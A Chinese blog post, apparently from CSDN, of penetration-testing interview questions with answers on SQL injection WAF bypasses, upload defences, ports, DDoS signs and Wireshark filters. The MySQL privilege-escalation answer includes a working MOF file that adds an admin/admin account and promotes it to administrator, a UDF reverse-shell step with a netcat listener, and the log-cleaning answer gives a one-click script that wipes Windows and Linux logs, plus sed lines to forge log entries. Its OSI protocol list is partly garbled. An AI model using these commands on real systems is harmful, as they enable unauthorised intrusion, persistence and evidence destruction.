渗透测试面试题

1.了解那些漏洞?

sql注入、文件上传、文件包含、xss、csrf、ssrf、越权访问、命令执行、代码执行、目录读取、任意文件读取、弱口令、暴力破解。

2.文件上传有哪些防护方式?

  • 检查文件上传路径(避免0x00截断、iis6.0文件夹解析漏洞、目录遍历)
  • 文件扩展名检测(避免服务器以非图片的文件格式解析文件),验证文件扩展名,通常有两种方式:黑名单和白名单。
  • 文件MIME验证(比如GIF图片 MIME为image/gif),文件内容检测(避免图片中插入webshell)
  • 图片二次渲染(最变态的上传漏洞防御方式,基本上完全避免了文件上传漏洞)
  • 文件重命名(如随机字符串或时间戳等方式,防止攻击者得到webshell的路径)
  • 隐藏上传路径

3.用什么判断注入?

  • 当参数可控时,看参数是否对数据产生影响,若有影响则可能是注入点
  • 输入sql看是否可以产生报错,通过报错信息得到数据库部分语句。
  • 利用引号、双引号、圆括号进行报错

4.注入有防护怎么办?

  • 1、绕过空格(注释符/**/,%a0)
  • 2、括号绕过空格
  • 3、引号绕过(使用十六进制)
  • 4、逗号绕过(limit使用from或者offset)(substr使用from for属于逗号)
  • 5、比较符号(< >)绕过(使用greatest())
  • 6、or and 绕过
  • 7、绕过注释符号(#,--)过滤
  • 8、= 绕过 like
  • 9、绕过union,select,where等

        (1)使用注释符绕过
        (2)使用大小写绕过
        (3)内联注释绕过
        (4)双关键字绕过

  • 10、通用绕过(编码)
  • 11、等价函数绕过
  • 12、宽字节绕过

5.有没有写过tamper?

        使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。

6.3306 1443 8080 是什么端口?

        3306:mysql连接端口

        1443:sql server

        8080:被用于www服务,可用于浏览网页

7.计算机网络从物理层到应用层

  • 物理层:比特流传输  协议:IEEE, Ethernet, IEEE802.2到IEEE802.11
  • 数据链路层:控制网络与物理层之间通信 协议:FDDI,Ethernet,Arpanet,PDN,SLIP,PPP
  • 网络层:IP寻址和路由选择 协议:IP,ICMP,ARP,RARP,AKP,UUCP
  • 运输层:简历、维护、管理端到端的链接 协议:TCP,UDP
  • 会话层:建立、维护、管理会话层链接 协议:SMTP,DNS
  • 表示层:数据格式化、加密、解密 协议:Telnet,Rlogin,SNMP,Gopher
  • 应用层:为应用数据提供网络服务 协议:HTTP,TFTP,FTP,NFS,WAIS,SMTP

8.有没有web服务开发经验?

9.有没有用过xss平台?

10.网站渗透的流程?

确认目标-信息收集-挖掘漏洞-漏洞利用-权限维持-内网渗透-权限维持-清除痕迹-撰写报告

11.mysql 的两种提权方式?

1.mysql的udf提权

   提权要求

1.目标系统是Windows(Win2000,XP,Win2003);
2.如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
注:
该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。
3.如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
4.掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
5.拥有可以将udf.dll写入相应目录的权限。一般都是root
可以在mysql里输入

select @@basedir show variables like ‘%plugins%’

寻找mysql安装路径

 提权方法

        使用SQL语句创建功能函数

语法
        Create Function 函数名 ‘导出的DLL路径’;

2.Mysql mof提权

提权要求

1.该漏洞的利用前提条件要先找到一个可写目录,然后上传mof文件
比如文章这里的 C:\RECYCLER
2.当前权限可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下

提权方法

一般方式

1.生成nullevt.mof文件
将以下代码保存为nullevt.mof文件:

    #pragma namespace("\\\\.\\root\\subscription")  
     
    instance of __EventFilter as $EventFilter  
    {  
        EventNamespace = "Root\\Cimv2";  
        Name  = "filtP2";  
        Query = "Select * From __InstanceModificationEvent "  
                "Where TargetInstance Isa \"Win32_LocalTime\" "  
                "And TargetInstance.Second = 5";  
        QueryLanguage = "WQL";  
    };  
     
    instance of ActiveScriptEventConsumer as $Consumer  
    {  
        Name = "consPCSV2";  
        ScriptingEngine = "JScript";  
        ScriptText =  
        "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";  
    };  
     
    instance of __FilterToConsumerBinding  
    {  
        Consumer   = $Consumer;  
        Filter = $EventFilter;  
    }; 

2.通过Mysql查询将文件导入
执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下,在windows7中默认是拒绝访问的。

    select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'; 

注:导入后系统会自动运行该文件,执行添加用户的命令。
3.查看执行结果
admin/admin 账号就已添加成功,可测试登录或者查询
4.权限提升
然后需要修改添加用户命令为将用户添加到管理员组

net.exe localgroup administrators admin/add

改一下mof文件中的命令,再次上传并查询一次,就成功了。

msf自带提权模块

use exploit/windows/mysql/mysql_mof
set 用户名 密码 ip (数据库允许所有主机登录才行)
在这里插入图片描述

Mysql反弹端口连接提权

假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?

1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。
mysql.exe -h 172.16.10.11 -uroot -p
2 Enter password:
3 mysql> . c:\mysql.txt
4 mysql>select backshell(“YourIP”,2010);

2、本地监听你反弹的端口
nc.exe -vv -l -p 2010
成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。 

12.常见加密方式?

MD5加密(加密不可逆)

Base64加密(可加密可解密)

sha1加密(加密不可逆)

RSA加密--非对称加密(公钥加密,私钥解密)

AES加密--对称加密(需要密钥才能解密)

13.ddos如何防护?

        服务器的攻击分为四类:cc攻击,syn攻击,udp攻击,tcp洪水攻击。

        cc攻击特征:

  • 网站出现service unavailable提示;
  •  cpu占用很高;
  •  网络连接状态:netstat -na,若观察到大量的ESTABLISHED的连接状态 单个IP高达几十条甚至上百条;
  •  外部无法打开网站,软重启后短期内恢复正常,几分钟后又无法访问。

syn攻击特征:

高cpu占用

网络连接状态:netstat -na,若观察到大量的ESTABLISHED的连接状态 

udp攻击

观察网卡状况 每秒接受大量的数据包

网络状态:netstat -na TCP信息正常

tcp洪水攻击

A.CPU占用很高

B.netstat –na,若观察到大量的ESTABLISHED的连接状态 单个IP高达几十条甚至上百条

1.服务器连接不上,网站也打不开(如果服务器网站被大量DDoS攻击时,可能会造成服务器蓝屏或者死机,这时就意味着服务器已经连接不上了,网站出现连接错误的情况。)

2、服务器CPU被大量占用(DDoS攻击是一种恶意性的资源占用攻击,攻击者利用肉鸡或者攻击软件对目标服务器发送大量的无效请求,导致服务器的资源被大量的占用,因而正常的进程没有得到有效的处理,这样网站就会出现打开缓慢的情况。如果服务器某段时间突然出现CPU占用率过高,那么可能是网站受到CC攻击影响。)

3、占用服务器的带宽资源是DDoS攻击的一个主要手段,对很多小型企业或者个人网站来说,带宽的资源非常有限,网络的带宽被大量无效数据给占据时,正常流量数据请求很难被服务器进行处理。如果服务器上行带宽占用率达到90%以上时,那你的网站通常会出现被DDoS攻击的可能。

4、域名ping不出IP的情况用户可能会比较少考虑到,这其实也是DDoS攻击的一种表现,只是攻击者所针对的攻击目标是网站的DNS域名服务器。在出现这种攻击时,ping服务器的IP是正常可以连通的,但网站页面不能正常打开,并且在ping域名时会出现无法正常ping通的情况。主要的识别方法就是以上几种。

防御DDoS的基本方法有:首先要确保服务器软件没有任何漏洞,防止攻击者入侵。确保服务器采用最新系统,并打上安全补丁。在服务器上删除未使用的服务,关闭未使用的端口。对于服务器上运行的网站,确保其打了最新的补丁,没有安全漏洞。其次隐藏服务器的真实源IP地址,一般建议可以用蓝队云DDoS高防IP,用于隐藏服务器真实源IP,使用CNAME域名解析,此外拥有最新自研WAF指纹识别架构,可以完全过滤CC攻击行为,增加CDN网页缓存加速,误封概率低。

DDOS攻击是会直接将目标用户攻击到瘫痪的

14.有没有抓包,会不会写wireshark过滤规则?

wireshark中,分为两种过滤器:捕获过滤器 和 显示过滤器

捕获过滤器 是指wireshark一开始在抓包时,就确定要抓取哪些类型的包;对于不需要的,不进行抓取。

显示过滤器 是指wireshark对所有的包都进行抓取,当用户分析数据包的信息,便于筛选出需要的数据包。

总结来说,捕获过滤器 是在用户开始任务之前就要使用的规则;而显示过滤器 是任务开始之后(无论是否已完成)要使用的规则。

  • 捕获过滤器对于一个选项的参数之间使用空格进行连接
  • 显示过滤器对于一个选项的参数之间使用点”.”进行连接
  • 输入过滤器规则时,如果语法正确,底色显示为绿色;如果语法错误,显示为红色。
  • 使用捕获过滤器时,要先选择要捕获的接口,再填写过滤器规则

15.清理日志要清理哪些?

一、windows

有远程桌面权限时手动删除日志:
开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志
wevtutil:

wevtutil el             列出系统中所有日志名称
wevtutil cl system      清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security    清理安全日志

meterperter自带清除日志功能:

clearev     清除windows中的应用程序日志、系统日志、安全日志

清除recent:

在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮

或直接打开C:\Users\Administrator\Recent并删除所有内容

或在命令行中输入del /f /s /q “%userprofile%\Recent*.*

二、linux

清除命令历史记录

histroy -r          #删除当前会话历史记录
history -c          #删除内存中的所有命令历史
rm .bash_history   #删除历史文件中的内容
HISTZISE=0          #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令

:set history=0
:!command

linux日志文件

/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息

完全删除日志文件:

cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename

针对性删除日志文件:

删除当天日志
sed  -i '/当天日期/'d  filename

篡改日志文件:

将所有172.16.13.1 ,ip替换为127.0.0.1
sed -i 's/170.170.64.17/127.0.0.1/g'

一键清除脚本:

#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值